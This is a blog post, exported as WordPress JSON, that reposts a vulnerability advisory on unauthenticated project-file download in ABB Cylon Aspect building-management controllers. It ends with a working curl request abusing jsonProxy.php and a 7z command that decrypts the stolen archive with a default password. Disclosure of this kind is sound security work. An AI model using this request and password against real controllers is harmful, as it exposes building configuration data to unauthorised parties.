{"id":60004,"date":"2024-10-31T03:20:05","date_gmt":"2024-10-31T00:20:05","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182403\/ZSL-2024-5855.txt"},"modified":"2024-10-31T03:20:05","modified_gmt":"2024-10-31T00:20:05","slug":"abb-cylon-aspect-3-08-01-jsonproxy-php-unauthenticated-project-download","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/abb-cylon-aspect-3-08-01-jsonproxy-php-unauthenticated-project-download\/","title":{"rendered":"ABB Cylon Aspect 3.08.01 jsonProxy.php Unauthenticated Project Download"},"content":{"rendered":"<p>ABB Cylon Aspect 3.08.01 (jsonProxy.php) Unauthenticated Project Download<\/p>\n<p>Vendor: ABB Ltd.<br \/>Product web page: https:\/\/www.global.abb<br \/>Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio<br \/>Firmware: &lt;=3.08.01<\/p>\n<p>Summary: ASPECT is an award-winning scalable building energy management<br \/>and control solution designed to allow users seamless access to their<br \/>building data through standard building protocols including smart devices.<\/p>\n<p>Desc: The jsonProxy.php endpoint on the ABB BMS\/BAS controller is vulnerable<br \/>to unauthorized project file disclosure. An unauthenticated remote attacker <br \/>can issue a GET request abusing the DownloadProject servlet to download<br \/>sensitive project files. The jsonProxy.php script bypasses authentication<br \/>by proxying requests to localhost (AspectFT Automation Application Server),<br \/>granting remote attackers unauthorized access to internal Java servlets.<br \/>This exposes potentially sensitive project data and configuration details<br \/>without requiring authentication.<\/p>\n<p>Tested on: GNU\/Linux 3.15.10 (armv7l)<br \/>GNU\/Linux 3.10.0 (x86_64)<br \/>GNU\/Linux 2.6.32 (x86_64)<br \/>Intel(R) Atom(TM) Processor E3930 @ 1.30GHz<br \/>Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz<br \/>PHP\/7.3.11<br \/>PHP\/5.6.30<br \/>PHP\/5.4.16<br \/>PHP\/4.4.8<br \/>PHP\/5.3.3<br \/>AspectFT Automation Application Server<br \/>lighttpd\/1.4.32<br \/>lighttpd\/1.4.18<br \/>Apache\/2.2.15 (CentOS)<br \/>OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)<br \/>OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)<\/p>\n<p>Vulnerability discovered by Gjoko &#8216;LiquidWorm&#8217; Krstic<br \/>@zeroscience<\/p>\n<p>Advisory ID: ZSL-2024-5855<br \/>Advisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2024-5855.php<\/p>\n<p>21.04.2024<\/p>\n<p>&#8212;<\/p>\n<p>$ cat project<\/p>\n<p>P R O J E C T<\/p>\n<p>.|<br \/>| |<br \/>|&#8217;| ._____<br \/>___ | | |. |&#8217; .&#8212;&#8220;|<br \/>_ .-&#8216; &#8216;-. | | .&#8211;&#8216;| || | _| |<br \/>.-&#8216;| _.| | || &#8216;-__ | | | || |<br \/>|&#8217; | |. | || | | | | || |<br \/>____| &#8216;-&#8216; &#8216; &#8220;&#8221; &#8216;-&#8216; &#8216;-.&#8217; &#8216;` |____<br \/>\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 <br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591<br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591 <br \/>\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2592\u2593\u2588\u2588\u2588\u2593\u2592\u2591<br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591<br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591<br \/>\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 <\/p>\n<p>$ curl &#8220;http:\/\/192.168.73.31\/jsonProxy.php?port=7226&amp;application=DownloadProject?downloadSource=true&#8221; -o Skyscraper.zip<br \/>% Total % Received % Xferd Average Speed Time Time Time Current<br \/>Dload Upload Total Spent Left Speed<br \/>100 37.6M 0 37.6M 0 0 497k 0 &#8211;:&#8211;:&#8211; 0:01:17 &#8211;:&#8211;:&#8211; 207k<\/p>\n<p>$ file Skyscraper.zip<br \/>Skyscraper.zip: Zip archive data, at least v2.0 to extract, compression method=AES Encrypted<br \/>$ 7z -p&#8221;aamuserdefault&#8221; x Skyscraper &gt; nula<br \/>$ ls<br \/>$ Skyscraper_2023.zip Skyscraper.zip nula<br \/>$ file Skyscraper_2023.zip<br \/>Skyscraper_2023.zip: Zip archive data, at least v2.0 to extract, compression method=deflate<\/p>\n","protected":false},"excerpt":{"rendered":"<p>ABB Cylon Aspect 3.08.01 (jsonProxy.php) Unauthenticated Project Download Vendor: ABB Ltd.Product web page: https:\/\/www.global.abbAffected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-StudioFirmware: &lt;=3.08.01 Summary: ASPECT is an award-winning scalable building energy managementand control solution designed to allow users seamless access to theirbuilding data through standard building protocols including smart devices. Desc: The jsonProxy.php endpoint on the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60004","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60004","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60004"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60004\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60004"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60004"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60004"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}